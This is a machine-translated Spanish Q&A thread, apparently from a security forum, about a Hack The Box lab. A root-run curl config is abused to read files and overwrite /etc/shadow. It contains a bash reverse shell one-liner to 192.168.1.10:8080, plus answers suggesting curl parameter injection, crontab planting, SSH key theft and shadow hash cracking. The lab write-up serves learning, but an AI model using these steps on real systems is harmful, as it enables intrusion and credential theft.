Aprovechando el enrollamiento para generar un shell

0

Así que estoy haciendo un desafío de HTB en el que he aprovechado el uso del cuadro de objetivos al leer un archivo que establece una URL para curl para cruzar el directorio y mostrar el indicador de raíz en un informe que es parte de el ejercicio.

Contenido del archivo: url = file:///127.0.0.1/../../../root/root.txt

Todo genial.

Lo que quiero hacer es aprovechar esto para generar un shell leyendo /bin/bash . Puedo leer la versión ilegible de /bin/bash en el archivo de informe, pero no puedo entender cómo ejecutarlo de una manera que me dé un shell interactivo.

¿Qué puedo hacer para lograr esto?

EDITAR:

Puedo crear una shell inversa desde mi usuario actual usando bash y el comando a continuación, simplemente no puedo hacer que se ejecute como me gustaría desde 'dentro' de rizo.

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1

    
pregunta Rich C 21.11.2018 - 17:25
fuente

2 respuestas

2

Dependiendo de cómo se lance curl , puede ser vulnerable a la inyección de parámetros. Como ya controla un parámetro (la URL), puede usar caracteres como espacios y apóstrofes o comillas para inyectar un parámetro -o <file , lo que provocaría que curl escriba su salida en ese archivo. Si puede hacer eso, hay muchas opciones (especialmente porque curl se ejecuta como root), como eliminar un archivo crontab con un comando para invocar tu programa en un minuto. Es menos probable que funcione, pero aún vale la pena comprobar si curl se está ejecutando dentro de un shell, en cuyo caso es posible que pueda usar la inyección de shell (como backticks o $( ) alrededor de un comando) para ejecutar un comando arbitrario directamente.

No hay forma de que un archivo cause directamente la ejecución del código. Sin embargo, puede intentar leer archivos que podrían ser útiles para obtener acceso remoto a la caja. Por ejemplo, verifique las claves autorizadas de SSH y vea si las claves privadas correspondientes están presentes en la máquina; si es así, robarlos y usarlos para SSH en (aunque es posible que primero deba ingresar una contraseña en la clave privada). También puedes intentar robar los hashes de contraseña de /etc/shadow y descifrarlos; es una opción remota, pero tal vez haya una contraseña débil en una cuenta que pueda adivinar y luego usar para SSH con autenticación de contraseña. Alternativamente, puede intentar recuperar las credenciales de cualquier proveedor de la nube (AWS o similar) y usarlas para obtener el control del host a través de la infraestructura del proveedor de la nube.

    
respondido por el CBHacking 22.11.2018 - 07:27
fuente
0

En caso de que alguien esté interesado. La secuencia de comandos del backend estaba leyendo el archivo que contenía la url como un archivo de configuración y escribiéndolo como root, así que cambié la url y copié los archivos etc/shadow etc y creé un nuevo usuario, luego volví a leer los archivos editados en las ubicaciones originales, luego sudo en ese usuario y obtener un shell.

No pude salir del rizo en sí mismo.

Utilicé el siguiente método para leer primero el archivo /etc/shadow original y copiarlo en una ubicación que pudiera ver, luego editar los archivos con un nuevo usuario y copiarlos nuevamente.

El archivo de entrada de Curl es de un atacante que está siendo leído por la raíz

url = my_ip:port/edited_shadow

Agregué esto debajo para la máquina víctima

output = /etc/shadow

Esto es más o menos lo que usé como guía ...

enlace

Por supuesto, hay formas más fáciles de hacer esto, escriba una nueva clave pública, por ejemplo. Pero quería probar este método.

    
respondido por el Rich C 23.11.2018 - 00:58
fuente

Lea otras preguntas en las etiquetas